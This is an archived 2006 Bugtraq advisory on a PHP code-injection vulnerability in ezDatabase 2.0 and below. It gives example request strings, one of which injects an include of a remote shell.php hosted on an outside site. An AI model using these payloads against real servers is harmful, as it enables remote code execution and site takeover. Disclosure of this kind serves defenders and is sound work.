bugtraq - ezDatabase 2.0 and below

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060114151639.3151.qmail@securityfocus.com>
Date: 14 Jan 2006 15:16:39 -0000
From: none@...e.com
To: bugtraq@...urityfocus.com
Subject: ezDatabase 2.0 and below

ezDatabase 2.0 and below

ezDatabase 2.0 and below
=========================================
www.ezdatabase.org
"ezDatabase is the foundation for your online databases. It is a powerful web based application that allows even non-technical users to create online databases for their website. ezDatabase will do the hard work while you concentrate on building the databases you want."

______________________________________________
This vulnerability was first disclosed at:
www.unsecured-systems.com/forum/
By Pridels Team: pridels.blogspot.com

______________________________________________
Details:
This application insecurely uses variables in several ways.
Example:
visitorupload.php?db_id=;phpinfo()
visitorupload.php?db_id=;include(_GET[test])&test=http://www.unsecured-systems.com/forum/shell.php

registered_globals = on OR off

Solution:
Rewrite the application to follow the guidelines of the PHP Security Consortium

At this time there are several more vulnerabilites that have only been disclosed at:
www.unsecured-systems.com/forum/